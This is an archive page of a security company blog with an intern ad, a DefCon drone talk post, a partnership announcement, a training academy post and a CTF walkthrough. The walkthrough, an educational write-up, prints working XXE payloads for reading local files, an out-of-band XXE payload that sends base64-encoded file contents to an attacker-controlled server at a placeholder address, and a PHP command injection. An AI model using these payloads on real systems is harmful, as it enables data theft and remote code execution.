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Mon, 3 Nov 2014

Are you the intern we've been looking for?

intern


 


We're looking for an intern to join our newly formed 'Innovation Centre' arm of SensePost/SecureData. Have a read below for some more information, and drop us a mail if you're interested or would like some more info (glenn@sensepost.com).




The purpose of the Innovation Centre is to offer an incubation hub through which new ideas, concepts and other technical and business innovations can be collected & captured and then rapidly described, prioritised researched, prototyped, tested, advocated and transitioned into the business.


About the Intern Position:


The ideal candidate should have a computer science or similar background, but equivalent work experience or self taught candidates will also be considered. The following specific requirements are required:


* Familiarity with at least one scripting language, preferably Python
* Fundamental understanding of networking
* Linux experience
* A positive attitude with a capable problem solving capabilities


The following points would be seen as a bonus:
* Strong computer science degree
* Industry experience (e.g. holiday internship).
* Web development capabilities
* Security knowledge / experience
* Experience with embedded or similar systems (e.g. Pi, Arduino, etc)


Whilst SensePost is an information security company, this specific internship does not directly relate to an info-sec position, but the projects worked on will relate to info-sec. The internship is for placement in the Innovation Centre. Day to day tasks are likely to include:


* Writing PoC scripts
* Providing support to InnoCentre analysts (e.g. writing Maltego plugins, debugging issues, testing new hardware/software).
* Liaising with partners/clients

Sun, 17 Aug 2014

DefCon 22 - Practical Aerial Hacking & Surveillance

Hello from Las Vegas! Yesterday (ed: uh, last week, my bad) I gave a talk at DefCon 22 entitled 'Practical Aerial Hacking & Surveillance'. If you missed the talk the slides are available here. Also, I'm releasing a paper I wrote as part of the talk entitled 'Digital Terrestrial Tracking: The Future of Surveillance', click here to download it.


Whiskey shot!
Whiskey shot!


The Snoopy code is available on our GitHub account, and you can join the mailing list here. Also, congratulations to @AmandersLPD for winning our #SnoopySensor competition! You can see the output of our *amazing* PRNG in action below:

defConWinrar
I'll update this post to point to the DefCon video once they're released. In the meantime, the specifications of my custom quadcopter I had on stage are below:


Part    Type    Link
Frame DJI F450 http://www.uavproducts.com/product.php?id_product=25
Flight Controller APM 2.6 https://store.3drobotics.com/products/apm-2-6-kit-1
ESCs DJI 30A http://www.dronesvision.net/en/dji-f330-f450-f550/365-dji-esc-30a-opto-brushless-speed-controller-for-f330-f450-f550.html
Motors DJI 920KV http://www.ezdrone.com/product/dji-2212920kv-brushless-motor/
Radio Turnigy 9x http://www.hobbyking.com/hobbyking/store/__8992__turnigy_9x_9ch_transmitter_w_module_8ch_receiver_mode_2_v2_firmware_.html
Radio TX HawkEye 1W http://www.aliexpress.com/item/433Mhz-HawkEYE-openLRSngTX-UHF-system-JR-Turnigy-compatible-and-433MHz-9Ch-Receiver/1194330930.html
Radio RX HawkEye 6ch http://www.aliexpress.com/store/product/DTF-UHF-6-channel-long-range-receiver-By-HawkEYE/933311_1511029537.html
FPV Camera Sony 600 http://www.tecnic.co.uk/Sony-600-TVL-CCD-Mini-Camera.html
Video TX 600mw http://www.hobbyking.com/hobbyking/store/__17507__immersionrc_5_8ghz_audio_video_transmitter_fatshark_compatible_600mw_.html
OSD Minimosd https://store.3drobotics.com/products/apm-minimosd-rev-1-1
HD Camera GoPro3+ Black http://gopro.com/cameras/hd-hero3-black-edition
Goggles SkyZone http://www.foxtechfpv.com/skyzone-fpv-goggles-p-1218.html
FC GPS uBlox GPS https://store.3drobotics.com/products/3dr-gps-ublox-with-compass
Lost quad GPS Fi-Li-Fi http://uavision.co.uk/store/index.php?route=product/product&product_id=54
Payload BeagleBone Black https://github.com/sensepost/snoopy-ng

Tue, 5 Aug 2014

SensePost partners with Paterva to offer improved security intelligence

SENSEPOST PNG on clear
We've been big fans of Maltego and the team at Paterva for a very long time now, and we frequently use this powerful tool for all kinds of fun and interesting stuff, like

We go way back with Andrew and Roelof, who was in fact a founder of SensePost, so today we're super excited to be able to announce a new, strengthened partnership with them under which we have been accredited as an Approved Maltego Solutions Provider. Basically this means the that with Paterva's help we plan to use the powerful Maltego toolset to become better at our job - that is to provide information and information systems to our customer with which they can make sound security decisions. Here's the official news:
SensePost today is proud to announce the completion of a contract that will see the company recognized as the world's first “Approved Maltego Solution Provider” (AMSP) and the exclusive provider of this kind in the UK and Southern Africa.


SensePost was founded in 2000 and has developed into one of the worlds leading Information Security Services companies with offices in London, Cape Town and Pretoria. As trusted advisors it has always been our mission to provide our customers with insight, information and systems to enable them to make strong decisions about Information Security that support their business performance. Whilst this mission has traditionally expressed itself in technical security analysis services like Vulnerability Assessment and Penetration Testing we recognise that the threat landscape is constantly changing and that new and more complex realities necessitate the use of sophisticated new skills, tools and techniques with which to support our clients.


“This strategic alliance perfectly fits the ‘Assess-Detect-Protect-Respond' framework that drives the way we design, sell and deliver our service. It's the perfect evolution of our growing services offering.” says Etienne Greef, CEO of the SensePost group holding company SecureData, who's strategy is at the core of this new initiative.


‘Maltego', built by Paterva, is a powerful suite of software tools used for data mining, link analysis and data visualization, giving the user the ability to extract large volumes of data from diverse sources and then analyze it to understand the patterns and relationships it reveals. In the modern digital age these techniques are used to convert data into information and thereby extract concrete value that can be used for effective decision-making.


Maltego is a highly regarded and popular platform used extensively in Open Source Intelligence Gathering, Infrastructure Analysis for Penetration Testing, Cyber Attack Analysis, Fraud Detection and Investigation, Security Intelligence, Information Security Management, Research and more.


This partnership between SensePost and Paterva (who produce the Maltego software) builds on the companies' shared roots and intellectual heritage and will allow both companies to serve their customers and fulfil their respective missions better.


As an AMSP SensePost will be authorised to provide integration, consulting, support and training for the Maltego tools with full endorsement, support and assistance directly from Paterva. This new capability, combined with an existing wealth of information security skills and experience, uniquely positions SensePost to advise and support clients seeking to exploit the unique strategic advantage the Maltego toolset can offer.


More information on our services and capabilities in this space will follow with our official "launch" in a few weeks time. In the mean, here's a brief summary of our new offering.

Fri, 27 Jun 2014

The SensePost Academy: Wrecking Balls

There is a serious skills shortage in our industry. There are just not enough skilled hackers out there to fill all the open positions. In November of last year, I proposed a new approach for us at SensePost to address these concerns. I looked at what we could do as a company to ensure the next generation of hackers were being educated correctly (no, it's not about how you use a tool) and moulded into what we, at SensePost, perceive to be good penetration testers.


I termed this the SensePost Academy and it is a structured training programme for all new recruits looking at a life at SensePost in the Assessment team. It is a combination of basic technical + offensive attack approaches and client interaction skills that provide an excellent stepping stone for those looking at starting a career as a penetration tester. The academy runs for a period of six months, finishing with a final culminating exercise (CULEX) before the decision is made to accept the recruit into the assessment team as an unmonitored penetration tester. The SensePost Academy Review Board (SARB) oversees each recruit and is responsible for grading and testing the recruit on each phase, in addition to mentoring (or should that be tormenting?) them.


Interviews were performed, we wanted the right recruit and had to turn down a lot of people in the process, but we did find two gentlemen, and as a team, decided on our first ever recruits:


wreckingballs
On their first day, we reminded them that they were recruits and as a result, needed a special theme tune:



This theme tune would be played whenever they were addressed and as often as possible.


Over the past six months, they've been on many training courses internally, been shown the ways of the pwnage by the assessment team, presented at conferences and also developed and broken applications. Each phase was carefully monitored by the review board to ensure they were being moulded into a form we felt was right.


Finally, the CULEX week was upon us. A client application assessment (fictitious German company) and client feedback meeting. No hand holding, just perform the test like you've been shown and don't mess up.


After making them sweat, we took a vote this morning and I'm happy to welcome both Johan and Dane to our assessments team as Junior penetration testers.


If you think you'd be a good addition to the next academy intake, we've love to hear from you. Tweet us on @sensepost or email us at jobs@sensepost.com

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela